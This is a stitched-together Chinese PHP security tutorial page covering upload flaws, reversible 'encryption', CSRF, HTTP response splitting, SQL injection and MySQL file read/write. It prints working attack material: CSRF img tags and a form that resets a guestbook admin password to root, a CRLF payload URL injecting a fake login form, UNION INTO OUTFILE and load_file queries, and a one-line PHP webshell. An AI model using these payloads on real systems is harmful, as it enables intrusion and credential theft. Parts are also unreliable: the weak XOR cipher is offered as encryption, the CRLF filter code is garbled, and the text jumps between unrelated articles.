php文件上传漏洞简单分析

 更新时间:2016年11月25日 15:23  点击:1619
文件上传漏洞这个问题不是php中所存在的只是我们用户在程序开发时可能做得不够好所导致的,以前的asp同样也存在文件上传漏洞,下面我来给大家介绍php文件上传漏洞简单分析与解决办法。


下面是一个简单的文件上传表单

 代码如下 复制代码

<form action="upload.php" method="post" enctype="multipart/form-data" name="form1">
  <input type="file" name="file1" /><br />
  <input type="submit" value="上传文件" />
  <input type="hidden" name="MAX_FILE_SIZE" value="1024" />
</form>

php的配置文件php.ini,其中选项upload_max_filesize指定允许上传的文件大小,默认是2M

$_FILES数组变量

PHP使用变量$_FILES来上传文件,$_FILES是一个数组。如果上传test.txt,那么$_FILES数组的内容为:

 代码如下 复制代码

$FILES

Array

{

        [file] => Array

        {

                [name] => test.txt                //文件名称

                [type] => text/plain                //MIME类型

                [tmp_name] => /tmp/php5D.tmp        //临时文件

                [error] => 0                //错误信息

                [size] => 536                //文件大小,单位字节

        }

}

如果上传文件按钮的name属性值为file

 代码如下 复制代码

<input type="file" name="file" />

那么使用$_FILES['file']['name']来获得客户端上传文件名称,不包含路径。使用$_FILES['file']['tmp_name']来获得服务端保存上传文件的临时文件路径

存放上传文件的文件夹

PHP不会直接将上传文件放到网站根目录中,而是保存为一个临时文件,名称就是$_FILES['file']['tmp_name']的值,开发者必须把这个临时文件复制到存放的网站文件夹中。

$_FILES['file']['tmp_name']的值是由PHP设置的,与文件原始名称不一样,开发者必须使用$_FILES['file']['name']来取得上传文件的原始名称。

上传文件时的错误信息

$_FILES['file']['error']变量用来保存上传文件时的错误信息,它的值如下:

错误信息 数值 说    明
UPLOAD_ERR_OK 0 没有错误
UPLOAD_ERR_INI_SIZE 1 上传文件的大小超过php.ini的设置
UPLOAD_ERR_FROM_SIZE 2 上传文件的大小超过HTML表单中MAX_FILE_SIZE的值
UPLOAD_ERR_PARTIAL 3 只上传部分的文件
UPLOAD_ERR_NO_FILE 4 没有文件上传

文件上传漏洞

如果提供给网站访问者上传图片的功能,那必须小心访问者上传的实际可能不是图片,而是可以指定的PHP程序。如果存放图片的目录是一个开放的文件夹,则入侵者就可以远程执行上传的PHP文件来进行攻击。

下面是一个简单的文件上传例子:

 代码如下 复制代码

<?php
// 设置上传文件的目录
$uploaddir = "D:/www/images/";

// 检查file是否存在
if (isset($_FILES['file1']))
{
 // 要放在网站目录中的完整路径,包含文件名
    $uploadfile = $uploaddir . $_FILES['file1']['name'];
 // 将服务器存放的路径,移动到真实文件名
 move_uploaded_file($_FILES['file1']['tmp_name'], $uploadfile);
}
?>
……
<form method="post" enctype="multipart/form-data" name="form1">
  <input type="file" name="file1" /><br />
  <input type="submit" value="上传文件" />
  <input type="hidden" name="MAX_FILE_SIZE" value="1024" />
</form>

这个例子没有检验文件后缀,可以上传任意文件,很明显的上传漏洞,要解决上面的问题很简单,我们从一段代码来看。

 代码如下 复制代码
 switch( $extension )
   {
    case 'application/msword':
    $extension ='doc';
    break;
    case 'application/vnd.ms-excel':
    $extension ='xls';
    break;
    case 'application/vnd.openxmlformats-officedocument.wordprocessingml.document':
    $extension ='docx';
    break;
    case 'application/vnd.ms-powerpoint':
    $extension ='ppt';
    break;
    case 'application/pdf':
    $extension ='pdf';
    break;
    case 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet':
    $extension ='xlsx';
    break;
    default:
    die('只允许上传doc,docx,xls,pdf,ppt文件 <a href="wend.php">重新上传</a>');
   
   }

这个是用来限制用户上传的类型号或后缀名了,这样可以过滤简单不能直接上传php了,但是我们再看一个实例,你绘发现太可怕了。

用画图工具新建一个jpg或gif或png之类图片格式,开头一定是GIF或JPG或PNG之类。

将php网马的头部写入GIF 如图:

 代码如下 复制代码


然后写一个简单的php上传文件处理(我赶时间随便写的,没什么美感):

 

<?php

if($_FILES){
 echo '以下是错误的$_FILES:<br/>';
 echo "<pre>";
 print_r($_FILES);
 echo "</pre>";

 echo "以下是错误的getimagesize()<br/>";
 echo "<pre>";
 print_r(getimagesize($_FILES['bug']['tmp_name']));
 echo "</pre>";
 exit;
 $fp = fopen($_FILES['bug']['tmp_name'],"r");
 $content = fread($fp,filesize ($_FILES['bug']['tmp_name']));
 //echo $content 可以看到上传的源代码
}
?>

<form action="" method="post" enctype="multipart/form-data">

<input type="file" name="bug" />

<input type="submit" >
</form>

就可以看到如图这样坑爹的效果了。


首先是print_r($_FILES) 直接显示的是扩展的jpg结果。
然后是php函数getimagesize()的结果是gif(它以文件开头那段为判断依据)。

在这种问题上php是无法解决的,但我们可以从服务器目录权限来操作,下面提供一些解决办。

其实,我们抓住几个地方即可,我们先来分析下,既然用户要上存文件,而且文件将是多种多样格式;可能有的文件内容与用户传入格式不一致,有的文件内容还夹杂木马代码。 那么,我们让用户上存文件,跟站点文件做一个分别授权,做隔离。

让保存上存目录独立开来,目录权限只读不能执行
这一步从系统设计加以授权,无论你上次什么文件,都不可能执行到。就算我不做任何检测,你的文件都上存到这里了,也不会对我系统构成安全。(如果有用户上存一些反动言语的图片,那另外需要处理的)

 

不直接使用服务器传入值,所有都要进行检测

这类跟我们做一切输入都是有害原则一样,对于客户端传入的:type, name ,都要进行判断,不直接使用。对于要生成到某个目录,某个文件名。

文件名最好方法是:自己写死目录(不要读取传入目录),文件名,最好自己随机生成,不读取用户文件名。文件扩展名,可以取最右边"."后面字符。

以上2个方法,刚好从2个方面对上存做了整体约束。

方法2 : 保存上存文件名,按照自己指定目录写入,并且文件名自己生成的。

方法1:只要保证文件写对了位置,然后从配置上,对写入目录进行权限控制,这个是治本。可以做到,你无论上存什么文件,都让你没有权限跳出去可以运行。

 

以上2个方法,一起使用,可以保证文件正确存到地方,然后,权限可以控制。 这里顺便说明下, 判断用户上存文件是否满足要求类型,就直接检查文件扩展名,只要满足扩展名就让上存。 反正,做了执行权限限制,你不按要求上存内容,也无妨。 反正,不能执行,也不会有多大危害性的。

正确步骤:
1.读取文件名,验证扩展名是不是在范围内

2.自己定义生成的文件名,目录,扩展名可以来自文件名扩展名。 其它值,都自己配置,不读取上存中内容

3.将文件 移到新目录(这个目录权限设置只读)

我们常用的md5算法从理论上来讲是不可逆的,但是有强大的方法还是可以把md5给算出来,只是根据复杂程度需要的时间不同罢了,但有时我们希望自己数据加密传输之后接受可以解密了,下面我来给大家提供一个函数。

对于大部分密码加密,我们可以采用md5、sha1等方法。可以有效防止数据泄露,但是这些方法仅适用于无需还原的数据加密。

对于需要还原的信息,则需要采用可逆的加密解密算法。

下面一组PHP函数是实现此加密解密的方法:

加密算法如下:

 代码如下 复制代码
function encrypt($data, $key)
{
 $key = md5($key);
    $x  = 0;
    $len = strlen($data);
    $l  = strlen($key);
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $l)
        {
         $x = 0;
        }
        $char .= $key{$x};
        $x++;
    }
    for ($i = 0; $i < $len; $i++)
    {
        $str .= chr(ord($data{$i}) + (ord($char{$i})) % 256);
    }
    return base64_encode($str);
}

解密算法如下:

 代码如下 复制代码
function decrypt($data, $key)
{
 $key = md5($key);
    $x = 0;
    $data = base64_decode($data);
    $len = strlen($data);
    $l = strlen($key);
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $l)
        {
         $x = 0;
        }
        $char .= substr($key, $x, 1);
        $x++;
    }
    for ($i = 0; $i < $len; $i++)
    {
        if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1)))
        {
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
        }
        else
        {
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
        }
    }
    return $str;
}

上述加密解密的过程均需要用到一个加密密钥(即参数$key)。

 代码如下 复制代码

$data = 'PHP加密解密算法';  // 被加密信息
$key = '123';     // 密钥
$encrypt = encrypt($data, $key);
$decrypt = decrypt($encrypt, $key);
echo $encrypt, "n", $decrypt;

上述将输出类似如下结果:

gniCSOzZG+HnS9zcFea7SefNGhXF
PHP加密解密算法

从上述结果可以看出,这是一组可逆的加密解密算法,可以用于部分需要还原的数据加密。

今天我来给大家介绍在php中跨网站请求伪造的实现方法与最后我们些常用的防止伪造的具体操作方法,有需要了解的朋友可进入参考。


伪造跨站请求介绍

伪造跨站请求比较难以防范,而且危害巨大,攻击者可以通过这种方式恶作剧,发spam信息,删除数据等等。这种攻击常见的表现形式有:
  伪造链接,引诱用户点击,或是让用户在不知情的情况下访问
  伪造表单,引诱用户提交。表单可以是隐藏的,用图片或链接的形式伪装。
  比较常见而且也很廉价的防范手段是在所有可能涉及用户写操作的表单中加入一个随机且变换频繁的字符串,然后在处理表单的时候对这个字符串进行检查。这个随机字符串如果和当前用户身份相关联的话,那么攻击者伪造请求会比较麻烦。


如果攻击者以隐藏的方式发送给目标用户链接
<img src="/buy.php?item=watch&num=1000"/>,那么如果目标用户不小心访问以后,购买的数量就成了1000个

实例
随缘网络PHP留言板V1.0

 代码如下 复制代码
任意删除留言
//delbook.php 此页面用于删除留言
<?php
include_once("dlyz.php");    //dlyz.php用户验证权限,当权限是admin的时候方可删除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //传递要删除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert('删除成功!');";
echo " location='book.php';";
echo "</script>";
?>


当我们具有admin权限,提交http://localhost/manage/delbook.php?id=2 时,就会删除id为2的留言
利用方法:
我们使用普通用户留言(源代码方式),内容为

 代码如下 复制代码

<img src="delbook.php?id=2" />

<img src="delbook.php?id=3" />

<img src="delbook.php?id=4" />

<img src="delbook.php?id=5" />

插入4张图片链接分别删除4个id留言,然后我们返回首页浏览看,没有什么变化。。图片显示不了
现在我们再用管理员账号登陆后,来刷新首页,会发现留言就剩一条,其他在图片链接中指定的ID号的留言,全部都被删除。
攻击者在留言中插入隐藏的图片链接,此链接具有删除留言的作用,而攻击者自己访问这些图片链接的时候,是不具有权限的,所以看不到任何效果,但是当管理员登陆后,查看此留言,就会执行隐藏的链接,而他的权限又是足够大的,从而这些留言就被删除了
修改管理员密码

 代码如下 复制代码
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>设计制作:<a href=http://www.115cn.cn>厦门随缘网络科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert('修改成功!');";
echo " location='pass.php';";
echo "</script>";
}
这个文件用于修改管理密码和网站设置的一些信息,我们可以直接构造如下表单:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1"  name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text"  name="title"  value="随缘网络PHP留言板V1.0(带审核功能)" >
<textarea  name="gg"  rows="6" cols="80" >欢迎您安装使用随缘网络PHP留言板V1.0(带审核功能)!</textarea>
<textarea  name="copyright"  rows="6" cols="80" >随缘网络PHP留言本V1.0  版权所有:厦门随缘网络科技 2005-2009<br/>承接网站建设及系统定制 提供优惠主机域名</textarea>
</form>
</body>


存为attack.html,放到自己网站上http://www.111cn.net此页面访问后会自动向目标程序的pass.php提交参数,用户名修改为root,密码修改为root,然后我们去留言板发一条留言,隐藏这个链接,管理访问以后,他的用户名和密码全部修改成了root

 

防止伪造跨站请求


yahoo对付伪造跨站请求的办法是在表单里加入一个叫.crumb的随机串;而facebook也有类似的解决办法,它的表单里常常会有post_form_id和fb_dtsg。

 

随机串代码实现

咱们按照这个思路,山寨一个crumb的实现,代码如下:

 代码如下 复制代码
<?php
class Crumb {
CONST SALT = "your-secret-salt";
static $ttl = 7200;
static public function challenge($data) {
return hash_hmac('md5', $data, self::SALT);
}
static public function issueCrumb($uid, $action = -1) {
$i = ceil(time() / self::$ttl);
return substr(self::challenge($i . $action . $uid), -12, 10);
}
static public function verifyCrumb($uid, $crumb, $action = -1) {
$i = ceil(time() / self::$ttl);
if(substr(self::challenge($i . $action . $uid), -12, 10) == $crumb ||
substr(self::challenge(($i - 1) . $action . $uid), -12, 10) == $crumb)
return true;
return false;
}
}

代码中的$uid表示用户唯一标识,而$ttl表示这个随机串的有效时间。
  应用示例
  构造表单
  在表单中插入一个隐藏的随机串crumb

 代码如下 复制代码


<form method="post" action="demo.php">
<input type="hidden" name="crumb" value="<?php echo Crumb::issueCrumb($uid)?>">
<input type="text" name="content">
<input type="submit">
</form>

处理表单 demo.php
  对crumb进行检查

 

 代码如下 复制代码

<?php
if(Crumb::verifyCrumb($uid, $_POST['crumb'])) {
//按照正常流程处理表单
} else {
//crumb校验失败,错误提示流程
}
?>

其实http响应漏洞就是 CRLF注入攻击漏洞了,解决办法相对来讲也比较简单我们只要替换header中的CRLF基本可以解决,当然也可以在apache中httpd.conf,选项ServerTokens = Prod, ServerSignature = Off,php中php.ini,选项expose_php = Off即可。


首先我们分析 360 提供的漏洞页面地址"/?r=XXXXX"马上就可以发现问题,? 号码后面是 r=XXXX 这个 r= 就是问题的所在了,在 PHP 当中这个 GET 形式的请求(在链接中直接表现出来的请求)一般都要过滤一些文字防止被入侵,而这个就没有做这个操作,那么我们找到了入口,就开始查看代码吧,在全站中的所有文件中查找 $_GET['r'],如果你知道你的站点是哪个文件出现问题也可以直接去搜索这个文件,单引号中的 r 代表的是链接中 ?r= 中的 r,可以根据自己的要求修改。

 

马上就发现了问题:


$redirect = $_GET['r'];

图片中的代码把 $_GET['r'] 直接给了 $redirect 变量,简单的说现在 $redirect 就是 $_GET['r'] 了,一般情况下都是要这样写的,当然,变量的名称可能会有变,既然找到了问题出处,那么我们就只用过滤这个变量的内容就好啦。


PHP

 $redirect = trim(str_replace("r","",str_replace("rn","",strip_tags(str_replace("'","",str_replace("n", "", str_replace(" ","",str_replace("t","",trim($redirect))))),""))));

直接复制上面的所有代码到 $redirect = $_GET['r'];

下面就好啦,现在再次检查网站就不会出现这个问题了,希望大家看得懂,变量名称可以根据自己的需要更换哦


HTTP响应拆分攻击

HTTP响应拆分是由于攻击者经过精心设计利用电子邮件或者链接,让目标用户利用一个请求产生两个响应,前一个响应是服务器的响应,而后一个则是攻击者设计的响应。此攻击之所以会发生,是因为WEB程序将使用者的数据置于HTTP响应表头中,这些使用者的数据是有攻击者精心设计的。

可能遭受HTTP请求响应拆分的函数包括以下几个:

header();        setcookie();        session_id();        setrawcookie();

HTTP响应拆分通常发生在:

Location表头:将使用者的数据写入重定向的URL地址内

Set-Cookie表头:将使用者的数据写入cookies内

实例:

<?php
    header("Location: " . $_GET['page']);
?>

请求

GET /location.php?page=http://www.00aq.com HTTP/1.1?
Host: localhost?

?

返回

HTTP/1.1 302 Found
Date: Wed, 13 Jan 2010 03:44:24 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Location: http://www.00aq.com
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

访问下面的链接,会直接出现一个登陆窗口

http://localhost/location.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%20158%0d%0a%0d%0a<html><body><form%20method=post%20name=form1>帐号%20<input%20type=text%20name=username%20/><br%20/>密码%20<input%20name=password%20type=password%20/><br%20/><input%20type=submit%20name=login%20value=登录%20/></form></body></html>

转换成可读字符串为:

Content-Type: text/html

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 158

 

<html><body><form method=post name=form1>帐号 <input type=text name=username /><br />密码 <input name=password type=password /><br /><input type=submit name=login value=登录 /></form></body></html>

一个HTTP请求产生了两个响应

SQL注入是一种攻击,允许攻击者增加额外的逻辑表达式和命令,以现有的SQL查询,种攻击能够成功每当用户提交的数据是不正确验证,并粘有一个合法的SQL查询在一起,所以说sql注入攻击并不是php的问题而程序员的问题。

 
SQL注入攻击的一般步骤:

  1、攻 击者访问有SQL注入漏洞的站点,寻找注入点

  2、攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的sql语句

  3、新的sql语句被提交到数据库中执行 处理

  4、数据库执行了新的SQL语句,引发SQL注入攻击

 

 实例

  数据库

  CREATE TABLE `postmessage` (

  `id` int(11) NOT NULL auto_increment,

  `subject` varchar(60) NOT NULL default ",

  `name` varchar(40) NOT NULL default ",

  `email` varchar(25) NOT NULL default ",

  `question` mediumtext NOT NULL,

  `postdate` datetime NOT NULL default '0000-00-00 00:00:00′,

  PRIMARY KEY  (`id`)

  ) ENGINE=MyISAM  DEFAULT CHARSET=gb2312 COMMENT='运用者的留言' AUTO_INCREMENT=69 ;

  grant all privileges on ch3.* to 'sectop'@localhost identified by '123456′;

  //add.php 插入留言

  //list.php 留言列表

  //show.php 显示留言

  页面 /show.php?id=71 可能存在注入点,我们来测试

  /show.php?id=71 and 1=1

  返回页面


  一次查询到记录,一次没有,我们来看看源码

  //show.php 12-15行

  // 执行mysql查询语句

  $query = "select * from postmessage where id = ".$_GET["id"];

  $result = mysql_query($query)

  or die("执行ySQL查询语句失败:" . mysql_error());

  参数id传递进来后,和前面的字符串结合的sql语句放入数据库执行 查询

  提交 and 1=1,语句变成select * from postmessage where id = 71 and 1=1 这语句前值后值都为真,and以后也为真,返回查询到的数据

  提交 and 1=2,语句变成select * from postmessage where id = 71 and 1=2 这语句前值为真,后值为假,and以后为假,查询不到任何数据

  正常的SQL查询,经过我们构造的语句之后,形成了SQL注入攻击。通过这个注入点,我们还可以进一步拿到权限,比如说运用 union读取管理密码,读取数据库信息,或者用mysql的load_file,into outfile等函数进一步渗透。

 

防sql注入方法

$id = intval ($_GET['id']);

当然,还有其它的变量类型,如果有必要的话尽量强制一下格式。


字符型参数:

运用 addslashes函数来将单引号"'"转换成"'",双引号"""转换成""",反斜杠""转换成"\",NULL字符加上反斜杠""

  函数原型

  string addslashes (string str)

          str是要检查的字符串

  那么刚才出现的代码漏洞,我们可以这样修补

  // 执行mysql查询语句

  $query = "select * from postmessage where id = ".intval($_GET["id"]);

  $result = mysql_query($query)

or die("执行ySQL查询语句失败:" . mysql_error());

 

如果是字符型,先判断magic_quotes_gpc能无法 为On,当不为On的时候运用 addslashes转义特殊字符

 代码如下 复制代码

 

  if(get_magic_quotes_gpc())

  {

  $var = $_GET["var"];

  }

  else

  {

  $var = addslashes($_GET["var"]);

  }

]


SQL语句中包含变量加引号

SQL代码:

 代码如下 复制代码

SELECT * FROM article WHERE articleid = '$id'

SELECT * FROM article WHERE articleid = $id

两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,因此,我们要养成给SQL语句中变量加引号的习惯。

3. URL伪静态化

URL伪静态化也就是URL重写技术,像Discuz!一样,将所有的URL都rewrite成类似xxx-xxx-x.html格式,即有利于SEO,又达到了一定的安全性,也不失为一个好办法。但是想实现PHP防SQL注入,前提是你得有一定的"正则"基础。

4. 用PHP函数过滤与转义

PHP的SQL注入比较重要的一点就是GPC的设置问题,因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的magic_quotes_gpc为On时,提交的变量中所有的 " '  "(单引号)、" " "(双引号)、" "(反斜线)和空字符都会自动转为含有反斜线的转义字符,给SQL注入带来不少的阻碍。

5. 用PHP的MySQL函数过滤与转义

PHP的MySQL操作函数中有addslashes()、mysql_real_escape_string()、mysql_escape_string()等函数,可将特殊字符或可能引起数据库操作出错的字符转义。

那么这三个功能函数之间有什么区别呢?下面我们来详细讲述下:

① addslashes的问题在于黑客可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,称为一个有效的多字节字符,其中0xbf5c仍会被看做是单引号,所以addslashes无法成功拦截。

当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。

另外对于php手册中get_magic_quotes_gpc的举例:

 代码如下 复制代码

if(!get_magic_quotes_gpc()){  $lastname = addslashes($_POST['lastname']);}else{  $lastname = $_POST['lastname'];}


最好对magic_quotes_gpc已经打开的情况下,还是对$_POST['lastname']进行检查一下。

再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别:

 代码如下 复制代码
function daddslashes($string, $force = 0, $strip = FALSE) {   
if(!MAGIC_QUOTES_GPC || $force) {       
if(is_array($string)) {          
 foreach($string as $key => $val) {               
 $string[$key] = daddslashes($val, $force, $strip);         
   }      
  } else
  {           
  $string = addslashes($strip ? stripslashes($string) : $string);       
  }   
  }   
  return $string;
 }

命令1 - 写任意文件

MySQL有一个内置的命令,可用于创建和写入系统文件。 此命令的格式如下:

 代码如下 复制代码

mysq> select "text" INTO OUTFILE "file.txt"

此命令的一个大缺点是,它可以被附加到一个现有的查询使用UNION的SQL令牌。

例如,它可以被附加到下面的查询:

 代码如下 复制代码

select user, password from user where user="admin" and password='123'
结果查询:

select user, password from user where user="admin" and password='123' union select "text",2 into outfile "/tmp/file.txt" -- '

作为对上述命令的结果,在/ tmp / file.txt文件将被创建,包括查询结果。
命令2 - 读任意文件
MySQL有一个内置的命令,可以用来读取任意文件。 它的语法很简单。 B .我们将利用这个 b命令计划 。

 代码如下 复制代码

mysql> select load_file("PATH_TO_FILE");

Web shell

Webshell是polpular并广泛用于执行在Web浏览器从shell命令的工具。 .有人称之为这些工具的PHP炮弹。 我们将创建一个非常简单的webshell,将执行shell命令。

下面是执行的代码PHP的一个非常基本的外壳是将(参数通过加利福尼亚 ):

 代码如下 复制代码

<? system($_REQUEST['cmd']); ?>

[!--infotagslink--]

相关文章

  • php读取zip文件(删除文件,提取文件,增加文件)实例

    下面小编来给大家演示几个php操作zip文件的实例,我们可以读取zip包中指定文件与删除zip包中指定文件,下面来给大这介绍一下。 从zip压缩文件中提取文件 代...2016-11-25
  • Jupyter Notebook读取csv文件出现的问题及解决

    这篇文章主要介绍了JupyterNotebook读取csv文件出现的问题及解决,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教...2023-01-06
  • Photoshop打开PSD文件空白怎么解决

    有时我们接受或下载到的PSD文件打开是空白的,那么我们要如何来解决这个 问题了,下面一聚教程小伙伴就为各位介绍Photoshop打开PSD文件空白解决办法。 1、如我们打开...2016-09-14
  • C#操作本地文件及保存文件到数据库的基本方法总结

    C#使用System.IO中的文件操作方法在Windows系统中处理本地文件相当顺手,这里我们还总结了在Oracle中保存文件的方法,嗯,接下来就来看看整理的C#操作本地文件及保存文件到数据库的基本方法总结...2020-06-25
  • 解决python 使用openpyxl读写大文件的坑

    这篇文章主要介绍了解决python 使用openpyxl读写大文件的坑,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-03-13
  • C#实现HTTP下载文件的方法

    这篇文章主要介绍了C#实现HTTP下载文件的方法,包括了HTTP通信的创建、本地文件的写入等,非常具有实用价值,需要的朋友可以参考下...2020-06-25
  • SpringBoot实现excel文件生成和下载

    这篇文章主要为大家详细介绍了SpringBoot实现excel文件生成和下载,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-02-09
  • js实现上传图片及时预览

    这篇文章主要为大家详细介绍了js实现上传图片及时预览的相关资料,具有一定的参考价值,感兴趣的朋友可以参考一下...2016-05-09
  • php无刷新利用iframe实现页面无刷新上传文件(1/2)

    利用form表单的target属性和iframe 一、上传文件的一个php教程方法。 该方法接受一个$file参数,该参数为从客户端获取的$_files变量,返回重新命名后的文件名,如果上传失...2016-11-25
  • Php文件上传类class.upload.php用法示例

    本文章来人大家介绍一个php文件上传类的使用方法,期望此实例对各位php入门者会有不小帮助哦。 简介 Class.upload.php是用于管理上传文件的php文件上传类, 它可以帮...2016-11-25
  • php批量替换内容或指定目录下所有文件内容

    要替换字符串中的内容我们只要利用php相关函数,如strstr,str_replace,正则表达式了,那么我们要替换目录所有文件的内容就需要先遍历目录再打开文件再利用上面讲的函数替...2016-11-25
  • PHP文件上传一些小收获

    又码了一个周末的代码,这次在做一些关于文件上传的东西。(PHP UPLOAD)小有收获项目是一个BT种子列表,用户有权限上传自己的种子,然后配合BT TRACK服务器把种子的信息写出来...2016-11-25
  • jQuery实现简单的文件上传进度条效果

    本文实例讲述了jQuery实现文件上传进度条效果的代码。分享给大家供大家参考。具体如下: 运行效果截图如下:具体代码如下:<!DOCTYPE html><html><head><meta charset="utf-8"><title>upload</title><link rel="stylesheet...2015-11-24
  • AI源文件转photoshop图像变模糊问题解决教程

    今天小编在这里就来给photoshop的这一款软件的使用者们来说下AI源文件转photoshop图像变模糊问题的解决教程,各位想知道具体解决方法的使用者们,那么下面就快来跟着小编...2016-09-14
  • C++万能库头文件在vs中的安装步骤(图文)

    这篇文章主要介绍了C++万能库头文件在vs中的安装步骤(图文),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-02-23
  • Zend studio文件注释模板设置方法

    步骤:Window -> PHP -> Editor -> Templates,这里可以设置(增、删、改、导入等)管理你的模板。新建文件注释、函数注释、代码块等模板的实例新建模板,分别输入Name、Description、Patterna)文件注释Name: 3cfileDescriptio...2013-10-04
  • C#路径,文件,目录及IO常见操作汇总

    这篇文章主要介绍了C#路径,文件,目录及IO常见操作,较为详细的分析并汇总了C#关于路径,文件,目录及IO常见操作,具有一定参考借鉴价值,需要的朋友可以参考下...2020-06-25
  • php文件上传你必须知道的几点

    本篇文章主要说明的是与php文件上传的相关配置的知识点。PHP文件上传功能配置主要涉及php.ini配置文件中的upload_tmp_dir、upload_max_filesize、post_max_size等选项,下面一一说明。打开php.ini配置文件找到File Upl...2015-10-21
  • C#使用StreamWriter写入文件的方法

    这篇文章主要介绍了C#使用StreamWriter写入文件的方法,涉及C#中StreamWriter类操作文件的相关技巧,需要的朋友可以参考下...2020-06-25
  • ant design中upload组件上传大文件,显示进度条进度的实例

    这篇文章主要介绍了ant design中upload组件上传大文件,显示进度条进度的实例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-10-29